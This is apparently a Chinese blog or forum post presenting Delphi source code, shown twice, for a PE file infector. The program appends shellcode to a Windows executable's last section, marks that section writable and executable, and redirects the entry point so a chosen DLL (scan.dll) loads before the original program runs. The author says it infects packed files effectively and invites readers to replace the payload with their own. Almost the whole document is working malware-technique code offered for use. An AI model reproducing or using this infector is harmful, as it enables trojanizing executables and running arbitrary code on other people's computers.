原理是:修改最后一个节并给最后一个节增加长度,然后在增加的区域中间写入代码,本方法的好处是相对前面一种方法可以写入更多的代码,并且拥有更好的兼容性。。
code:
Code
program PE_Infection; {Code By 箫竹}
{$APPTYPE CONSOLE}
uses
SysUtils,
windows,
classes;
const
DEBUG=TRUE;
EXTRA_CODE_LENGTH=159; //注入代码长度,修改注入代码后,需要修改此值
var
code:array[0..EXTRA_CODE_LENGTH-8] of byte=(
$83,$EC,$40,$89,$E5,$56,$89,$65,$1E,$55,$64,$8B,$05,
$30,$00,$00,$00,$8B,$40,$0C,$8B,$70,$1C,$AD,$8B,$40,
$08,$89,$C5,$8B,$45,$3C,$8B,$54,$28,$78,$01,$EA,$8B,
$4A,$18,$8B,$5A,$20,$01,$EB,$49,$8B,$34,$8B,$01,$EE,
$B8,$47,$65,$74,$50,$39,$06,$75,$F1,$B8,$72,$6F,$63,
$41,$39,$46,$04,$75,$E7,$8B,$5A,$1C,$01,$EB,$8B,$04,
$8B,$01,$E8,$89,$E9,$5D,$89,$45,$0E,$89,$4D,$0A,$6A,
$00,$68,$61,$72,$79,$41,$68,$4C,$69,$62,$72,$68,$4C,
$6F,$61,$64,$54,$FF,$75,$0A,$FF,$55,$0E,$89,$45,$12,
$6A,$00,$68,$2E,$64,$6C,$6C,$68,$73,$63,$61,$6E,$54,
$FF,$55,$12,$68,$7A,$68,$63,$00,$54,$50,$FF,$55,$0E,
$FF,$D0,$8B,$65,$1E,$5E,$83,$C4,$40); //感染代码作用是加载scan.dll,执行zhc过程,可以自行修改
dosheader:IMAGE_DOS_HEADER; //dos头部
NTheader:IMAGE_NT_HEADERS; //NT头部
SectionHeader:IMAGE_SECTION_HEADER; //节头
numofSections,pnewfile,file_align_ment,section_align_ment:integer;
i,j,extraLengthAfterAlign:integer;
newEP,oldEP,cstart:dword;
srcFileName,newFileName,Taddr:string;
bytewrite:byte;
function align(size,ALIGN_BASE:integer):integer; //对齐函数
var
ret,results:integer;
begin
assert( 0 <> ALIGN_BASE );
results:= size div ALIGN_BASE;
if results<>0 then //如果不能整除
ret:=((size div ALIGN_BASE)+1)*ALIGN_BASE //填满
else
ret:=size;
align:=ret;
end;
begin
write('输入要感染的文件名:');
readln(srcFileName);
newfilename:=srcfilename+'.exe'; //保护原文件,复制一份
CopyFile(pchar(srcFileName), pchar(newFileName), FALSE);
pnewfile:=fileopen(newfilename,fmopenreadwrite or fmShareDenyNone);
fileseek(pnewfile,0,sofrombeginning);
fileread(pnewfile,DosHeader, sizeof(IMAGE_DOS_HEADER));
if DosHeader.e_magic <> IMAGE_DOS_SIGNATURE then //检验标志
begin
{$IF DEBUG}
writeln('不是一个正确的PE文件');
{$IFEND}
exit;
end;
fileseek(pNewFile, DosHeader._lfanew, sofrombeginning);
fileread(pnewfile,NTheader,sizeof(image_nt_headers));
if (NtHeader.Signature <> IMAGE_NT_SIGNATURE) then
begin
{$IF DEBUG}
writeln('不是一个正确的PE文件');
{$IFEND}
exit;
end; //验证完毕,目标是一个PE文件
numOfSections := NtHeader.FileHeader.NumberOfSections;
FILE_ALIGN_MENT := NtHeader.OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT := NtHeader.OptionalHeader.SectionAlignment;
{$IF DEBUG}
writeln(format('FILE_ALIGN_MENT-> %x',[FILE_ALIGN_MENT]));
writeln(format('SECTION_ALIGN_MENT-> %x',[FILE_ALIGN_MENT]));
{$IFEND}
//保存原来的入口备用
oldEP := NtHeader.OptionalHeader.AddressOfEntryPoint;
//定位到最后一个SectionHeader
for i:=1 to numofsections do
begin
fileread(pnewfile,SectionHeader,sizeof(IMAGE_SECTION_HEADER));
{$IF DEBUG}
write('节的名字:');
for j:=0 to 7 do
write(chr(SectionHeader.Name[j]));
writeln;
{$IFEND}
end;
extraLengthAfterAlign := Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
cstart:=sectionheader.PointerToRawData+sectionheader.SizeOfRawData; //找到该节的末尾
newep:=cstart+sectionheader.VirtualAddress-sectionheader.PointerToRawData; //计算新入口点
{$IF DEBUG}
writeln(format('原入口点:%x',[OldEp]));
writeln(format('修改后的入口点:%x',[newEp]));
{$IFEND}
//修改SizeOfRawData
sectionheader.SizeOfRawData:=sectionheader.SizeOfRawData+ Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);
//修改VirtualSize
sectionheader.Misc.VirtualSize:=NewEP+EXTRA_CODE_LENGTH;
//修改该节的属性
SectionHeader.Characteristics := $E0000060; //可读写可执行
fileseek(pnewfile,dosheader._lfanew+sizeof(ntheader)+(numofsections-1)*sizeof(image_section_header),sofrombeginning);
filewrite(pnewfile,sectionheader,sizeof(sectionheader));
//修改入口点
ntheader.OptionalHeader.AddressOfEntryPoint:=newep;
//修正SizeOfImage
NtHeader.OptionalHeader.SizeOfImage := Align(sectionheader.Misc.VirtualSize+sectionheader.VirtualAddress, SECTION_ALIGN_MENT); //修正SizeOfImage
fileseek(pnewfile,dosheader._lfanew,sofrombeginning);
filewrite(pnewfile,ntheader,sizeof(ntheader));
fileseek(pnewfile,cstart,sofrombeginning);
for i:=0 to EXTRA_CODE_LENGTH-8 do
filewrite(pnewfile,code[i],1);
Taddr:=inttohex(oldep+ntheader.OptionalHeader.ImageBase,8);
bytewrite:=$b8;
filewrite(pnewfile,bytewrite,1); //写入代码
for i:=4 downto 1 do
begin //mov eax,原入口点
bytewrite:=strtoint('$'+Taddr[i*2-1]+Taddr[i*2]);
filewrite(pnewfile,bytewrite,1); //跳回原入口点
end;
bytewrite:=$ff;
filewrite(pnewfile,bytewrite,1);
bytewrite:=$d0; //Call Eax
filewrite(pnewfile,bytewrite,1);
bytewrite:=$c3; //Retn
filewrite(pnewfile,bytewrite,1);
{$IF DEBUG}
writeln('已写入代码的长度:',EXTRA_CODE_LENGTH);
writeln('写入完毕');
readln;
{$IFEND}
end.
program PE_Infection; {Code By 箫竹}
{$APPTYPE CONSOLE}
uses
SysUtils,
windows,
classes;
const
DEBUG=TRUE;
EXTRA_CODE_LENGTH=159; //注入代码长度,修改注入代码后,需要修改此值
var
code:array[0..EXTRA_CODE_LENGTH-8] of byte=(
$83,$EC,$40,$89,$E5,$56,$89,$65,$1E,$55,$64,$8B,$05,
$30,$00,$00,$00,$8B,$40,$0C,$8B,$70,$1C,$AD,$8B,$40,
$08,$89,$C5,$8B,$45,$3C,$8B,$54,$28,$78,$01,$EA,$8B,
$4A,$18,$8B,$5A,$20,$01,$EB,$49,$8B,$34,$8B,$01,$EE,
$B8,$47,$65,$74,$50,$39,$06,$75,$F1,$B8,$72,$6F,$63,
$41,$39,$46,$04,$75,$E7,$8B,$5A,$1C,$01,$EB,$8B,$04,
$8B,$01,$E8,$89,$E9,$5D,$89,$45,$0E,$89,$4D,$0A,$6A,
$00,$68,$61,$72,$79,$41,$68,$4C,$69,$62,$72,$68,$4C,
$6F,$61,$64,$54,$FF,$75,$0A,$FF,$55,$0E,$89,$45,$12,
$6A,$00,$68,$2E,$64,$6C,$6C,$68,$73,$63,$61,$6E,$54,
$FF,$55,$12,$68,$7A,$68,$63,$00,$54,$50,$FF,$55,$0E,
$FF,$D0,$8B,$65,$1E,$5E,$83,$C4,$40); //感染代码作用是加载scan.dll,执行zhc过程,可以自行修改
dosheader:IMAGE_DOS_HEADER; //dos头部
NTheader:IMAGE_NT_HEADERS; //NT头部
SectionHeader:IMAGE_SECTION_HEADER; //节头
numofSections,pnewfile,file_align_ment,section_align_ment:integer;
i,j,extraLengthAfterAlign:integer;
newEP,oldEP,cstart:dword;
srcFileName,newFileName,Taddr:string;
bytewrite:byte;
function align(size,ALIGN_BASE:integer):integer; //对齐函数
var
ret,results:integer;
begin
assert( 0 <> ALIGN_BASE );
results:= size div ALIGN_BASE;
if results<>0 then //如果不能整除
ret:=((size div ALIGN_BASE)+1)*ALIGN_BASE //填满
else
ret:=size;
align:=ret;
end;
begin
write('输入要感染的文件名:');
readln(srcFileName);
newfilename:=srcfilename+'.exe'; //保护原文件,复制一份
CopyFile(pchar(srcFileName), pchar(newFileName), FALSE);
pnewfile:=fileopen(newfilename,fmopenreadwrite or fmShareDenyNone);
fileseek(pnewfile,0,sofrombeginning);
fileread(pnewfile,DosHeader, sizeof(IMAGE_DOS_HEADER));
if DosHeader.e_magic <> IMAGE_DOS_SIGNATURE then //检验标志
begin
{$IF DEBUG}
writeln('不是一个正确的PE文件');
{$IFEND}
exit;
end;
fileseek(pNewFile, DosHeader._lfanew, sofrombeginning);
fileread(pnewfile,NTheader,sizeof(image_nt_headers));
if (NtHeader.Signature <> IMAGE_NT_SIGNATURE) then
begin
{$IF DEBUG}
writeln('不是一个正确的PE文件');
{$IFEND}
exit;
end; //验证完毕,目标是一个PE文件
numOfSections := NtHeader.FileHeader.NumberOfSections;
FILE_ALIGN_MENT := NtHeader.OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT := NtHeader.OptionalHeader.SectionAlignment;
{$IF DEBUG}
writeln(format('FILE_ALIGN_MENT-> %x',[FILE_ALIGN_MENT]));
writeln(format('SECTION_ALIGN_MENT-> %x',[FILE_ALIGN_MENT]));
{$IFEND}
//保存原来的入口备用
oldEP := NtHeader.OptionalHeader.AddressOfEntryPoint;
//定位到最后一个SectionHeader
for i:=1 to numofsections do
begin
fileread(pnewfile,SectionHeader,sizeof(IMAGE_SECTION_HEADER));
{$IF DEBUG}
write('节的名字:');
for j:=0 to 7 do
write(chr(SectionHeader.Name[j]));
writeln;
{$IFEND}
end;
extraLengthAfterAlign := Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
cstart:=sectionheader.PointerToRawData+sectionheader.SizeOfRawData; //找到该节的末尾
newep:=cstart+sectionheader.VirtualAddress-sectionheader.PointerToRawData; //计算新入口点
{$IF DEBUG}
writeln(format('原入口点:%x',[OldEp]));
writeln(format('修改后的入口点:%x',[newEp]));
{$IFEND}
//修改SizeOfRawData
sectionheader.SizeOfRawData:=sectionheader.SizeOfRawData+ Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);
//修改VirtualSize
sectionheader.Misc.VirtualSize:=NewEP+EXTRA_CODE_LENGTH;
//修改该节的属性
SectionHeader.Characteristics := $E0000060; //可读写可执行
fileseek(pnewfile,dosheader._lfanew+sizeof(ntheader)+(numofsections-1)*sizeof(image_section_header),sofrombeginning);
filewrite(pnewfile,sectionheader,sizeof(sectionheader));
//修改入口点
ntheader.OptionalHeader.AddressOfEntryPoint:=newep;
//修正SizeOfImage
NtHeader.OptionalHeader.SizeOfImage := Align(sectionheader.Misc.VirtualSize+sectionheader.VirtualAddress, SECTION_ALIGN_MENT); //修正SizeOfImage
fileseek(pnewfile,dosheader._lfanew,sofrombeginning);
filewrite(pnewfile,ntheader,sizeof(ntheader));
fileseek(pnewfile,cstart,sofrombeginning);
for i:=0 to EXTRA_CODE_LENGTH-8 do
filewrite(pnewfile,code[i],1);
Taddr:=inttohex(oldep+ntheader.OptionalHeader.ImageBase,8);
bytewrite:=$b8;
filewrite(pnewfile,bytewrite,1); //写入代码
for i:=4 downto 1 do
begin //mov eax,原入口点
bytewrite:=strtoint('$'+Taddr[i*2-1]+Taddr[i*2]);
filewrite(pnewfile,bytewrite,1); //跳回原入口点
end;
bytewrite:=$ff;
filewrite(pnewfile,bytewrite,1);
bytewrite:=$d0; //Call Eax
filewrite(pnewfile,bytewrite,1);
bytewrite:=$c3; //Retn
filewrite(pnewfile,bytewrite,1);
{$IF DEBUG}
writeln('已写入代码的长度:',EXTRA_CODE_LENGTH);
writeln('写入完毕');
readln;
{$IFEND}
end.
本代码的兼容性较于前面一个代码要高,但代码难度略高一些,涉及更多PE结构方面的知识,是本人参考一个C++写出的PE文件感染的代码后,
加以改进写出来的,可以有效的感染加壳后的文件,但是在感染Flash,自解压文件时,可能会破坏掉自解压/Flash的内容,故不赞成感染此类文件..